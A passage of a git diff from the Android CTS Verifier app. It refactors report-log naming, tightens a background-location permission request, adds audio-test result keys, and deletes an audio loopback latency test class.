-            this.mReportLog = new CtsVerifierReportLog(REPORT_LOG_NAME, getReportSectionName());
+            this.mReportLog = new CtsVerifierReportLog(getReportFileName(), getReportSectionName());
             this.mHistoryCollection = new TestResultHistoryCollection();
         }
 
@@ -286,9 +301,15 @@
             return mReportLog;
         }
 
+        /**
+         * @return The name of the file to store the (suite of) ReportLog information.
+         */
         @Override
-        public final String getReportSectionName() {
-            return setTestNameSuffix(sCurrentDisplayMode, getClass().getName());
+        public String getReportFileName() { return GENERAL_TESTS_REPORT_LOG_NAME; }
+
+        @Override
+        public String getReportSectionName() {
+            return setTestNameSuffix(sCurrentDisplayMode, SECTION_UNDEFINED);
         }
 
         @Override
@@ -326,9 +347,9 @@
         public TestListActivity() {
             // TODO(b/186555602): temporary hack^H^H^H^H workaround to fix crash
             // This DOES NOT in fact fix that bug.
-            // if (true) this.mReportLog = new CtsVerifierReportLog(REPORT_LOG_NAME, "42"); else
+            // if (true) this.mReportLog = new CtsVerifierReportLog(b/186555602, "42"); else
 
-            this.mReportLog = new CtsVerifierReportLog(REPORT_LOG_NAME, getReportSectionName());
+            this.mReportLog = new CtsVerifierReportLog(getReportFileName(), getReportSectionName());
         }
 
         @Override
@@ -373,11 +394,18 @@
             return mReportLog;
         }
 
+        /**
+         * @return The name of the file to store the (suite of) ReportLog information.
+         */
         @Override
-        public final String getReportSectionName() {
-            return setTestNameSuffix(sCurrentDisplayMode, getClass().getName());
+        public String getReportFileName() { return GENERAL_TESTS_REPORT_LOG_NAME; }
+
+        @Override
+        public String getReportSectionName() {
+            return setTestNameSuffix(sCurrentDisplayMode, SECTION_UNDEFINED);
         }
 
+
         /**
          * Get existing test history to aggregate.
          */
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/TestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/TestListActivity.java
index b4b99db..9f987a2 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/TestListActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/TestListActivity.java
@@ -40,6 +40,7 @@
 import android.widget.Switch;
 import android.widget.Toast;
 
+import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.Objects;
 
@@ -55,6 +56,8 @@
     // Flag of launch app to fetch the unfolded/folded tests in main view from AndroidManifest.xml.
     protected static boolean sInitialLaunch;
 
+    private String[] mRequestedPermissions;
+
     // Enumerates the display modes, including unfolded and folded.
     protected enum DisplayMode {
         UNFOLDED, FOLDED;
@@ -68,7 +71,7 @@
          * Coverts the mode as suffix with brackets for test name.
          *
          * @return A string containing mode with brackets for folded mode;
-         *         empty string for unfolded mode.
+         * empty string for unfolded mode.
          */
         public String asSuffix() {
             if (name().equals(FOLDED.name())) {
@@ -79,7 +82,7 @@
     }
 
     @Override
-    public void onClick (View v) {
+    public void onClick(View v) {
         handleMenuItemSelected(v.getId());
     }
 
@@ -91,10 +94,11 @@
             PackageManager pm = getPackageManager();
             PackageInfo packageInfo = pm.getPackageInfo(
                     getApplicationInfo().packageName, PackageManager.GET_PERMISSIONS);
+            mRequestedPermissions = packageInfo.requestedPermissions;
 
-            if (packageInfo.requestedPermissions != null) {
-                String[] permissionsToRequest = removeString(packageInfo.requestedPermissions,
-                                Manifest.permission.ACCESS_BACKGROUND_LOCATION);
+            if (mRequestedPermissions != null) {
+                String[] permissionsToRequest = removeString(mRequestedPermissions,
+                        Manifest.permission.ACCESS_BACKGROUND_LOCATION);
                 permissionsToRequest = Arrays.stream(permissionsToRequest).filter(s -> {
                     try {
                         return (pm.getPermissionInfo(s, 0).getProtection() & PROTECTION_DANGEROUS)
@@ -146,10 +150,12 @@
                 // If we're sending them to settings we don't need to request background location
                 // since they can just grant in settings.
                 sendUserToSettings();
-            } else {
-                requestPermissions(new String[] {Manifest.permission.ACCESS_BACKGROUND_LOCATION},
+            } else if (new ArrayList<>(Arrays.asList(mRequestedPermissions)).contains(
+                    Manifest.permission.ACCESS_BACKGROUND_LOCATION)) {
+                requestPermissions(new String[]{Manifest.permission.ACCESS_BACKGROUND_LOCATION},
                         CTS_VERIFIER_BACKGROUND_LOCATION_PERMISSION_REQUEST);
             }
+            return;
         }
         if (requestCode == CTS_VERIFIER_BACKGROUND_LOCATION_PERMISSION_REQUEST) {
             if (grantResults[0] == PackageManager.PERMISSION_DENIED) {
@@ -191,7 +197,7 @@
         displayModeSwitch.setOnCheckedChangeListener(new CompoundButton.OnCheckedChangeListener() {
             @Override
             public void onCheckedChanged(CompoundButton buttonView,
-                boolean isChecked) {
+                    boolean isChecked) {
                 if (isChecked) {
                     sCurrentDisplayMode = DisplayMode.FOLDED.toString();
                 } else {
@@ -210,20 +216,20 @@
 
     private void handleClearItemSelected() {
         new AlertDialog.Builder(this)
-            .setMessage(R.string.test_results_clear_title)
-            .setPositiveButton(R.string.test_results_clear_yes,
-                    new DialogInterface.OnClickListener() {
-                       public void onClick(DialogInterface dialog, int id) {
-                            mAdapter.clearTestResults();
-                            Toast.makeText(
-                                TestListActivity.this,
-                                R.string.test_results_cleared,
-                                Toast.LENGTH_SHORT)
-                                    .show();
-                       }
-                   })
-            .setNegativeButton(R.string.test_results_clear_cancel, null)
-            .show();
+                .setMessage(R.string.test_results_clear_title)
+                .setPositiveButton(R.string.test_results_clear_yes,
+                        new DialogInterface.OnClickListener() {
+                            public void onClick(DialogInterface dialog, int id) {
+                                mAdapter.clearTestResults();
+                                Toast.makeText(
+                                        TestListActivity.this,
+                                        R.string.test_results_cleared,
+                                        Toast.LENGTH_SHORT)
+                                        .show();
+                            }
+                        })
+                .setNegativeButton(R.string.test_results_clear_cancel, null)
+                .show();
     }
 
     private void handleExportItemSelected() {
@@ -265,7 +271,7 @@
      */
     private String getCurrentDisplayMode() {
         String mode = getSharedPreferences(DisplayMode.class.getName(), MODE_PRIVATE)
-            .getString(DisplayMode.class.getName(), "");
+                .getString(DisplayMode.class.getName(), "");
         return mode;
     }
 
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AnalogHeadsetAudioActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AnalogHeadsetAudioActivity.java
index 6233f2c..37921e0 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AnalogHeadsetAudioActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AnalogHeadsetAudioActivity.java
@@ -52,6 +52,9 @@
 import org.hyphonate.megaaudio.player.PlayerBuilder;
 import org.hyphonate.megaaudio.player.sources.SinAudioSourceProvider;
 
+import static com.android.cts.verifier.TestListActivity.sCurrentDisplayMode;
+import static com.android.cts.verifier.TestListAdapter.setTestNameSuffix;
+
 public class AnalogHeadsetAudioActivity
         extends PassFailButtons.Activity
         implements View.OnClickListener {
@@ -105,6 +108,17 @@
 
     JavaPlayer mAudioPlayer;
 
+    // ReportLog Schema
+    private static final String SECTION_ANALOG_HEADSET = "analog_headset_activity";
+    private static final String KEY_HAS_HEADSET_PORT = "has_headset_port";
+    private static final String KEY_HEADSET_PLUG_INTENT_STATE = "intent_received_state";
+    private static final String KEY_CLAIMS_HEADSET_PORT = "claims_headset_port";
+    private static final String KEY_HEADSET_CONNECTED = "headset_connected";
+    private static final String KEY_KEYCODE_HEADSETHOOK = "keycode_headset_hook";
+    private static final String KEY_KEYCODE_PLAY_PAUSE = "keycode_play_pause";
+    private static final String KEY_KEYCODE_VOLUME_UP = "keycode_volume_up";
+    private static final String KEY_KEYCODE_VOLUME_DOWN = "keycode_volume_down";
+
     public AnalogHeadsetAudioActivity() {
         super();
     }
@@ -186,10 +200,26 @@
         }
     }
 
+    //
+    // PassFailButtons Overrides
+    //
+    @Override
+    public String getReportFileName() { return PassFailButtons.AUDIO_TESTS_REPORT_LOG_NAME; }
+
+    @Override
+    public final String getReportSectionName() {
+        return setTestNameSuffix(sCurrentDisplayMode, SECTION_ANALOG_HEADSET);
+    }
+
+    @Override
+    public void recordTestResults() {
+        getReportLog().submit();
+    }
+
     private void reportHeadsetPort(boolean has) {
         mHasHeadsetPort = has;
         getReportLog().addValue(
-                "User Reports Headset Port",
+                KEY_HAS_HEADSET_PORT,
                 has ? 1 : 0,
                 ResultType.NEUTRAL,
                 ResultUnit.NONE);
@@ -247,7 +277,7 @@
         }
 
         getReportLog().addValue(
-                "ACTION_HEADSET_PLUG Intent Received. State: ",
+                KEY_HEADSET_PLUG_INTENT_STATE,
                 state,
                 ResultType.NEUTRAL,
                 ResultUnit.NONE);
@@ -264,7 +294,7 @@
         getPassButton().setEnabled(calculatePass());
 
         getReportLog().addValue(
-                "User reported headset/headphones playback",
+                KEY_CLAIMS_HEADSET_PORT,
                 success ? 1 : 0,
                 ResultType.NEUTRAL,
                 ResultUnit.NONE);
@@ -389,19 +419,18 @@
             if (devInfo.getType() == AudioDeviceInfo.TYPE_WIRED_HEADSET ||
                     devInfo.getType() == AudioDeviceInfo.TYPE_WIRED_HEADPHONES) {
                 mHeadsetDeviceInfo = devInfo;
-
-                getReportLog().addValue(
-                        (devInfo.getType() == AudioDeviceInfo.TYPE_WIRED_HEADSET
-                                ? "Headset" : "Headphones") + " connected",
-                        0,
-                        ResultType.NEUTRAL,
-                        ResultUnit.NONE);
                 break;
             }
         }
 
         reportHeadsetPort(mHeadsetDeviceInfo != null);
 
+        getReportLog().addValue(
+                KEY_HEADSET_CONNECTED,
+                mHeadsetDeviceInfo != null ? 1 : 0,
+                ResultType.NEUTRAL,
+                ResultUnit.NONE);
+
         showConnectedDevice();
     }
 
@@ -445,7 +474,7 @@
                 showKeyMessagesState();
                 getPassButton().setEnabled(calculatePass());
                 getReportLog().addValue(
-                        "KEYCODE_HEADSETHOOK", 1, ResultType.NEUTRAL, ResultUnit.NONE);
+                        KEY_KEYCODE_HEADSETHOOK, 1, ResultType.NEUTRAL, ResultUnit.NONE);
                 break;
 
             case KeyEvent.KEYCODE_MEDIA_PLAY_PAUSE:
@@ -453,7 +482,7 @@
                 showKeyMessagesState();
                 getPassButton().setEnabled(calculatePass());
                 getReportLog().addValue(
-                        "KEYCODE_MEDIA_PLAY_PAUSE", 1, ResultType.NEUTRAL, ResultUnit.NONE);
+                        KEY_KEYCODE_PLAY_PAUSE, 1, ResultType.NEUTRAL, ResultUnit.NONE);
                 break;
 
             case KeyEvent.KEYCODE_VOLUME_UP:
@@ -461,7 +490,7 @@
                 showKeyMessagesState();
                 getPassButton().setEnabled(calculatePass());
                 getReportLog().addValue(
-                        "KEYCODE_VOLUME_UP", 1, ResultType.NEUTRAL, ResultUnit.NONE);
+                        KEY_KEYCODE_VOLUME_UP, 1, ResultType.NEUTRAL, ResultUnit.NONE);
                 break;
 
             case KeyEvent.KEYCODE_VOLUME_DOWN:
@@ -469,7 +498,7 @@
                 showKeyMessagesState();
                 getPassButton().setEnabled(calculatePass());
                 getReportLog().addValue(
-                        "KEYCODE_VOLUME_DOWN", 1, ResultType.NEUTRAL, ResultUnit.NONE);
+                        KEY_KEYCODE_VOLUME_DOWN, 1, ResultType.NEUTRAL, ResultUnit.NONE);
                 break;
         }
         return super.onKeyDown(keyCode, event);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackBaseActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackBaseActivity.java
deleted file mode 100644
index 78e34d3..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackBaseActivity.java
+++ /dev/null
@@ -1,686 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.verifier.audio;
-
-import android.app.AlertDialog;
-import android.media.AudioDeviceCallback;
-import android.media.AudioDeviceInfo;
-import android.media.AudioManager;
-import android.media.MediaRecorder;
-import android.os.Bundle;
-import android.os.Handler;
-import android.os.Message;
-import android.util.Log;
-import android.view.View;
-import android.view.View.OnClickListener;
-import android.view.ViewGroup;
-import android.widget.Button;
-import android.widget.ProgressBar;
-import android.widget.SeekBar;
-import android.widget.TextView;
-
-import com.android.compatibility.common.util.ResultType;
-import com.android.compatibility.common.util.ResultUnit;
-import com.android.cts.verifier.audio.audiolib.AudioSystemFlags;
-import com.android.cts.verifier.audio.audiolib.StatUtils;
-import com.android.cts.verifier.audio.audiolib.AudioUtils;
-import com.android.cts.verifier.CtsVerifierReportLog;
-import com.android.cts.verifier.PassFailButtons;
-import com.android.cts.verifier.R;
-
-import static com.android.cts.verifier.TestListActivity.sCurrentDisplayMode;
-import static com.android.cts.verifier.TestListAdapter.setTestNameSuffix;
-
-/**
- * Base class for testing activitiees that require audio loopback hardware..
- */
-public class AudioLoopbackBaseActivity extends PassFailButtons.Activity {
-    private static final String TAG = "AudioLoopbackBaseActivity";
-
-    // JNI load
-    static {
-        try {
-            System.loadLibrary("audioloopback_jni");
-        } catch (UnsatisfiedLinkError e) {
-            Log.e(TAG, "Error loading Audio Loopback JNI library");
-            Log.e(TAG, "e: " + e);
-            e.printStackTrace();
-        }
-
-        /* TODO: gracefully fail/notify if the library can't be loaded */
-    }
-    protected AudioManager mAudioManager;
-
-    // UI
-    TextView mInputDeviceTxt;
-    TextView mOutputDeviceTxt;
-
-    TextView mAudioLevelText;
-    SeekBar mAudioLevelSeekbar;
-
-    TextView mTestPathTxt;
-
-    TextView mResultText;
-    ProgressBar mProgressBar;
-    int mMaxLevel;
-
-    OnBtnClickListener mBtnClickListener = new OnBtnClickListener();
-    protected Button mTestButton;
-
-    String mYesString;
-    String mNoString;
-
-    // These flags determine the maximum allowed latency
-    private boolean mClaimsProAudio;
-    private boolean mClaimsOutput;
-    private boolean mClaimsInput;
-
-    // Useful info
-    private boolean mSupportsMMAP = AudioUtils.isMMapSupported();
-    private boolean mSupportsMMAPExclusive = AudioUtils.isMMapExclusiveSupported();
-
-    // Peripheral(s)
-    boolean mIsPeripheralAttached;  // CDD ProAudio section C-1-3
-    AudioDeviceInfo mOutputDevInfo;
-    AudioDeviceInfo mInputDevInfo;
-
-    protected static final int TESTPERIPHERAL_INVALID       = -1;
-    protected static final int TESTPERIPHERAL_NONE          = 0;
-    protected static final int TESTPERIPHERAL_ANALOG_JACK   = 1;
-    protected static final int TESTPERIPHERAL_USB           = 2;
-    protected static final int TESTPERIPHERAL_DEVICE        = 3; // device speaker + mic
-    protected int mTestPeripheral = TESTPERIPHERAL_NONE;
-
-    // Loopback Logic
-    NativeAnalyzerThread mNativeAnalyzerThread = null;
-
-    protected static final int NUM_TEST_PHASES = 5;
-    protected int mTestPhase = 0;
-
-    protected double[] mLatencyMillis = new double[NUM_TEST_PHASES];
-    protected double[] mConfidence = new double[NUM_TEST_PHASES];
-
-    protected double mMeanLatencyMillis;
-    protected double mMeanAbsoluteDeviation;
-    protected double mMeanConfidence;
-
-    protected static final double CONFIDENCE_THRESHOLD = 0.6;
-    // impossibly low latencies (indicating something in the test went wrong).
-    protected static final float EPSILON = 1.0f;
-    protected static final double PROAUDIO_RECOMMENDED_LATENCY_MS = 20.0;
-    protected static final double PROAUDIO_RECOMMENDED_USB_LATENCY_MS = 25.0;
-    protected static final double PROAUDIO_MUST_LATENCY_MS = 20.0;
-    protected static final double BASIC_RECOMMENDED_LATENCY_MS = 50.0;
-    protected static final double BASIC_MUST_LATENCY_MS = 800.0;
-    protected double mMustLatency;
-    protected double mRecommendedLatency;
-
-    // The audio stream callback threads should stop and close
-    // in less than a few hundred msec. This is a generous timeout value.
-    private static final int STOP_TEST_TIMEOUT_MSEC = 2 * 1000;
-
-    //
-    // Common UI Handling
-    //
-    private void connectLoopbackUI() {
-        // Connected Device
-        mInputDeviceTxt = ((TextView)findViewById(R.id.audioLoopbackInputLbl));
-        mOutputDeviceTxt = ((TextView)findViewById(R.id.audioLoopbackOutputLbl));
-
-        mAudioLevelText = (TextView)findViewById(R.id.audio_loopback_level_text);
-        mAudioLevelSeekbar = (SeekBar)findViewById(R.id.audio_loopback_level_seekbar);
-        mMaxLevel = mAudioManager.getStreamMaxVolume(AudioManager.STREAM_MUSIC);
-        mAudioLevelSeekbar.setMax(mMaxLevel);
-        mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC, (int)(0.7 * mMaxLevel), 0);
-        refreshLevel();
-
-        mAudioLevelSeekbar.setOnSeekBarChangeListener(new SeekBar.OnSeekBarChangeListener() {
-            @Override
-            public void onStopTrackingTouch(SeekBar seekBar) {}
-
-            @Override
-            public void onStartTrackingTouch(SeekBar seekBar) {}
-
-            @Override
-            public void onProgressChanged(SeekBar seekBar, int progress, boolean fromUser) {
-                mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC,
-                        progress, 0);
-                Log.i(TAG,"Level set to: " + progress);
-                refreshLevel();
-            }
-        });
-
-        mResultText = (TextView)findViewById(R.id.audio_loopback_results_text);
-        mProgressBar = (ProgressBar)findViewById(R.id.audio_loopback_progress_bar);
-        showWait(false);
-    }
-
-    //
-    // Peripheral Connection Logic
-    //
-    protected void scanPeripheralList(AudioDeviceInfo[] devices) {
-        // CDD Section C-1-3: USB port, host-mode support
-
-        // Can't just use the first record because then we will only get
-        // Source OR sink, not both even on devices that are both.
-        mOutputDevInfo = null;
-        mInputDevInfo = null;
-
-        // Any valid peripherals
-        // Do we leave in the Headset test to support a USB-Dongle?
-        for (AudioDeviceInfo devInfo : devices) {
-            if (devInfo.getType() == AudioDeviceInfo.TYPE_USB_DEVICE || // USB Peripheral
-                    devInfo.getType() == AudioDeviceInfo.TYPE_USB_HEADSET || // USB dongle+LBPlug
-                    devInfo.getType() == AudioDeviceInfo.TYPE_WIRED_HEADSET || // Loopback Plug?
-                    devInfo.getType() == AudioDeviceInfo.TYPE_AUX_LINE) { // Aux-cable loopback?
-                if (devInfo.isSink()) {
-                    mOutputDevInfo = devInfo;
-                }
-                if (devInfo.isSource()) {
-                    mInputDevInfo = devInfo;
-                }
-            }  else {
-                handleDeviceConnection(devInfo);
-            }
-        }
-
-        // need BOTH input and output to test
-        mIsPeripheralAttached = mOutputDevInfo != null && mInputDevInfo != null;
-        calculateTestPeripheral();
-        showConnectedAudioPeripheral();
-        calculateLatencyThresholds();
-        displayLatencyThresholds();
-    }
-
-    protected void handleDeviceConnection(AudioDeviceInfo deviceInfo) {
-        // NOP
-    }
-
-    private class ConnectListener extends AudioDeviceCallback {
-        /*package*/ ConnectListener() {}
-
-        //
-        // AudioDevicesManager.OnDeviceConnectionListener
-        //
-        @Override
-        public void onAudioDevicesAdded(AudioDeviceInfo[] addedDevices) {
-            scanPeripheralList(mAudioManager.getDevices(AudioManager.GET_DEVICES_ALL));
-        }
-
-        @Override
-        public void onAudioDevicesRemoved(AudioDeviceInfo[] removedDevices) {
-            scanPeripheralList(mAudioManager.getDevices(AudioManager.GET_DEVICES_ALL));
-        }
-    }
-
-    private void calculateTestPeripheral() {
-        if (!mIsPeripheralAttached) {
-            if ((mOutputDevInfo != null && mInputDevInfo == null)
-                || (mOutputDevInfo == null && mInputDevInfo != null)) {
-                mTestPeripheral = TESTPERIPHERAL_INVALID;
-            } else {
-                mTestPeripheral = TESTPERIPHERAL_DEVICE;
-            }
-        } else if (!areIODevicesOnePeripheral()) {
-            mTestPeripheral = TESTPERIPHERAL_INVALID;
-        } else if (mInputDevInfo.getType() == AudioDeviceInfo.TYPE_USB_DEVICE ||
-                mInputDevInfo.getType() == AudioDeviceInfo.TYPE_USB_HEADSET) {
-            mTestPeripheral = TESTPERIPHERAL_USB;
-        } else if (mInputDevInfo.getType() == AudioDeviceInfo.TYPE_WIRED_HEADSET ||
-                mInputDevInfo.getType() == AudioDeviceInfo.TYPE_AUX_LINE) {
-            mTestPeripheral = TESTPERIPHERAL_ANALOG_JACK;
-        } else {
-            // Huh?
-            Log.e(TAG, "No valid peripheral found!?");
-            mTestPeripheral = TESTPERIPHERAL_NONE;
-        }
-    }
-
-    private boolean isPeripheralValidForTest() {
-        return mTestPeripheral == TESTPERIPHERAL_ANALOG_JACK
-                    || mTestPeripheral == TESTPERIPHERAL_USB;
-    }
-
-    private void showConnectedAudioPeripheral() {
-        mInputDeviceTxt.setText(
-                mInputDevInfo != null ? mInputDevInfo.getProductName().toString()
-                        : "Not connected");
-        mOutputDeviceTxt.setText(
-                mOutputDevInfo != null ? mOutputDevInfo.getProductName().toString()
-                        : "Not connected");
-
-        String pathName;
-        switch (mTestPeripheral) {
-            case TESTPERIPHERAL_INVALID:
-                pathName = "Invalid Test Peripheral";
-                break;
-
-            case TESTPERIPHERAL_ANALOG_JACK:
-                pathName = "Headset Jack";
-                break;
-
-            case TESTPERIPHERAL_USB:
-                pathName = "USB";
-                break;
-
-            case TESTPERIPHERAL_DEVICE:
-                pathName = "Device Speaker + Microphone";
-                break;
-
-            case TESTPERIPHERAL_NONE:
-            default:
-                pathName = "Error. Unknown Test Path";
-                break;
-        }
-        mTestPathTxt.setText(pathName);
-        mTestButton.setEnabled(
-                mTestPeripheral != TESTPERIPHERAL_INVALID && mTestPeripheral != TESTPERIPHERAL_NONE);
-
-    }
-
-    private boolean areIODevicesOnePeripheral() {
-        if (mOutputDevInfo == null || mInputDevInfo == null) {
-            return false;
-        }
-
-        return mOutputDevInfo.getProductName().toString().equals(
-                mInputDevInfo.getProductName().toString());
-    }
-
-    private void calculateLatencyThresholds() {
-        switch (mTestPeripheral) {
-            case TESTPERIPHERAL_ANALOG_JACK:
-                mRecommendedLatency = mClaimsProAudio
-                        ? PROAUDIO_RECOMMENDED_LATENCY_MS : BASIC_RECOMMENDED_LATENCY_MS;
-                mMustLatency =  mClaimsProAudio
-                        ? PROAUDIO_RECOMMENDED_LATENCY_MS : BASIC_MUST_LATENCY_MS;
-                break;
-
-            case TESTPERIPHERAL_USB:
-                mRecommendedLatency = mClaimsProAudio
-                        ? PROAUDIO_RECOMMENDED_USB_LATENCY_MS : BASIC_RECOMMENDED_LATENCY_MS;
-                mMustLatency = mClaimsProAudio
-                        ? PROAUDIO_RECOMMENDED_USB_LATENCY_MS : BASIC_MUST_LATENCY_MS;
-                break;
-
-            case TESTPERIPHERAL_DEVICE:
-                // This isn't a valid case so we won't pass it, but it can be run
-                mRecommendedLatency = mClaimsProAudio
-                        ? PROAUDIO_RECOMMENDED_LATENCY_MS : BASIC_RECOMMENDED_LATENCY_MS;
-                mMustLatency = mClaimsProAudio
-                        ? PROAUDIO_RECOMMENDED_LATENCY_MS :BASIC_MUST_LATENCY_MS;
-                break;
-
-            case TESTPERIPHERAL_NONE:
-            default:
-                mRecommendedLatency = BASIC_RECOMMENDED_LATENCY_MS;
-                mMustLatency = BASIC_MUST_LATENCY_MS;
-                break;
-        }
-    }
-
-    private void displayLatencyThresholds() {
-        if (isPeripheralValidForTest()) {
-            ((TextView) findViewById(R.id.audio_loopback_must_latency)).setText("" + mMustLatency);
-            ((TextView) findViewById(R.id.audio_loopback_recommended_latency)).setText(
-                    "" + mRecommendedLatency);
-        } else {
-            String naStr = getResources().getString(R.string.audio_proaudio_NA);
-            ((TextView) findViewById(R.id.audio_loopback_must_latency)).setText(naStr);
-            ((TextView) findViewById(R.id.audio_loopback_recommended_latency)).setText(naStr);
-        }
-    }
-
-    /**
-     * refresh Audio Level seekbar and text
-     */
-    private void refreshLevel() {
-        int currentLevel = mAudioManager.getStreamVolume(AudioManager.STREAM_MUSIC);
-        mAudioLevelSeekbar.setProgress(currentLevel);
-
-        String levelText = String.format("%s: %d/%d",
-                getResources().getString(R.string.audio_loopback_level_text),
-                currentLevel, mMaxLevel);
-        mAudioLevelText.setText(levelText);
-    }
-
-    //
-    // show active progress bar
-    //
-    protected void showWait(boolean show) {
-        mProgressBar.setVisibility(show ? View.VISIBLE : View.INVISIBLE);
-    }
-
-    //
-    // Common loging
-    //
-    // Schema
-    private static final String KEY_LATENCY = "latency";
-    private static final String KEY_CONFIDENCE = "confidence";
-    private static final String KEY_SAMPLE_RATE = "sample_rate";
-    private static final String KEY_IS_PRO_AUDIO = "is_pro_audio";
-    private static final String KEY_IS_LOW_LATENCY = "is_low_latency";
-    private static final String KEY_IS_PERIPHERAL_ATTACHED = "is_peripheral_attached";
-    private static final String KEY_INPUT_PERIPHERAL_NAME = "input_peripheral";
-    private static final String KEY_OUTPUT_PERIPHERAL_NAME = "output_peripheral";
-    private static final String KEY_TEST_PERIPHERAL = "test_peripheral";
-    private static final String KEY_TEST_MMAP = "supports_mmap";
-    private static final String KEY_TEST_MMAPEXCLUSIVE = "supports_mmap_exclusive";
-    private static final String KEY_LEVEL = "level";
-    private static final String KEY_BUFFER_SIZE = "buffer_size_in_frames";
-
-    @Override
-    public String getTestId() {
-        return setTestNameSuffix(sCurrentDisplayMode, getClass().getName());
-    }
-
-    //
-    // Subclasses should call this explicitly. SubClasses should call submit() after their logs
-    //
-    @Override
-    public void recordTestResults() {
-        if (mNativeAnalyzerThread == null) {
-            return; // no results to report
-        }
-
-        CtsVerifierReportLog reportLog = getReportLog();
-        reportLog.addValue(
-                KEY_LATENCY,
-                mMeanLatencyMillis,
-                ResultType.LOWER_BETTER,
-                ResultUnit.MS);
-
-        reportLog.addValue(
-                KEY_CONFIDENCE,
-                mMeanConfidence,
-                ResultType.HIGHER_BETTER,
-                ResultUnit.NONE);
-
-        reportLog.addValue(
-                KEY_SAMPLE_RATE,
-                mNativeAnalyzerThread.getSampleRate(),
-                ResultType.NEUTRAL,
-                ResultUnit.NONE);
-
-        reportLog.addValue(
-                KEY_IS_LOW_LATENCY,
-                mNativeAnalyzerThread.isLowLatencyStream(),
-                ResultType.NEUTRAL,
-                ResultUnit.NONE);
-
-        reportLog.addValue(
-                KEY_IS_PERIPHERAL_ATTACHED,
-                mIsPeripheralAttached,
-                ResultType.NEUTRAL,
-                ResultUnit.NONE);
-
-        reportLog.addValue(
-                KEY_IS_PRO_AUDIO,
-                mClaimsProAudio,
-                ResultType.NEUTRAL,
-                ResultUnit.NONE);
-
-        reportLog.addValue(
-                KEY_TEST_PERIPHERAL,
-                mTestPeripheral,
-                ResultType.NEUTRAL,
-                ResultUnit.NONE);
-
-        reportLog.addValue(
-                KEY_TEST_MMAP,
-                mSupportsMMAP,
-                ResultType.NEUTRAL,
-                ResultUnit.NONE);
-
-        reportLog.addValue(
-                KEY_TEST_MMAPEXCLUSIVE ,
-                mSupportsMMAPExclusive,
-                ResultType.NEUTRAL,
-                ResultUnit.NONE);
-
-        if (mIsPeripheralAttached) {
-            reportLog.addValue(
-                    KEY_INPUT_PERIPHERAL_NAME,
-                    mInputDevInfo != null ? mInputDevInfo.getProductName().toString() : "None",
-                    ResultType.NEUTRAL,
-                    ResultUnit.NONE);
-
-            reportLog.addValue(
-                    KEY_OUTPUT_PERIPHERAL_NAME,
-                    mOutputDevInfo != null ? mOutputDevInfo.getProductName().toString() : "None",
-                    ResultType.NEUTRAL,
-                    ResultUnit.NONE);
-        }
-
-        int audioLevel = mAudioLevelSeekbar.getProgress();
-        reportLog.addValue(
-                KEY_LEVEL,
-                audioLevel,
-                ResultType.NEUTRAL,
-                ResultUnit.NONE);
-
-        reportLog.submit();
-    }
-
-    private void startAudioTest(Handler messageHandler) {
-        getPassButton().setEnabled(false);
-
-        mTestPhase = 0;
-        java.util.Arrays.fill(mLatencyMillis, 0.0);
-        java.util.Arrays.fill(mConfidence, 0.0);
-
-        mNativeAnalyzerThread = new NativeAnalyzerThread(this);
-        if (mNativeAnalyzerThread != null) {
-            mNativeAnalyzerThread.setMessageHandler(messageHandler);
-            // This value matches AAUDIO_INPUT_PRESET_VOICE_RECOGNITION
-            mNativeAnalyzerThread.setInputPreset(MediaRecorder.AudioSource.VOICE_RECOGNITION);
-            startTestPhase();
-        } else {
-            Log.e(TAG, "Couldn't allocate native analyzer thread");
-            mResultText.setText(getResources().getString(R.string.audio_loopback_failure));
-        }
-    }
-
-    private void startTestPhase() {
-        if (mNativeAnalyzerThread != null) {
-            mNativeAnalyzerThread.startTest();
-
-            // what is this for?
-            try {
-                Thread.sleep(200);
-            } catch (InterruptedException e) {
-                e.printStackTrace();
-            }
-        }
-    }
-
-    private void handleTestCompletion() {
-        mMeanLatencyMillis = StatUtils.calculateMean(mLatencyMillis);
-        mMeanAbsoluteDeviation =
-                StatUtils.calculateMeanAbsoluteDeviation(mMeanLatencyMillis, mLatencyMillis);
-        mMeanConfidence = StatUtils.calculateMean(mConfidence);
-
-        boolean pass = isPeripheralValidForTest()
-                && mMeanConfidence >= CONFIDENCE_THRESHOLD
-                && mMeanLatencyMillis > EPSILON
-                && mMeanLatencyMillis < mMustLatency;
-
-        getPassButton().setEnabled(pass);
-
-        String result;
-        if (mMeanConfidence < CONFIDENCE_THRESHOLD) {
-            result = String.format(
-                    "Test Finished\nInsufficient Confidence (%.2f < %.2f). No Results.",
-                    mMeanConfidence, CONFIDENCE_THRESHOLD);
-        } else {
-            result = String.format(
-                    "Test Finished - %s\nMean Latency:%.2f ms (required:%.2f)\n" +
-                            "Mean Absolute Deviation: %.2f\n" +
-                            " Confidence: %.2f\n" +
-                            " Low Latency Path: %s",
-                    (pass ? "PASS" : "FAIL"),
-                    mMeanLatencyMillis,
-                    mMustLatency,
-                    mMeanAbsoluteDeviation,
-                    mMeanConfidence,
-                    mNativeAnalyzerThread.isLowLatencyStream() ? mYesString : mNoString);
-        }
-
-        // Make sure the test thread is finished. It should already be done.
-        if (mNativeAnalyzerThread != null) {
-            try {
-                mNativeAnalyzerThread.stopTest(STOP_TEST_TIMEOUT_MSEC);
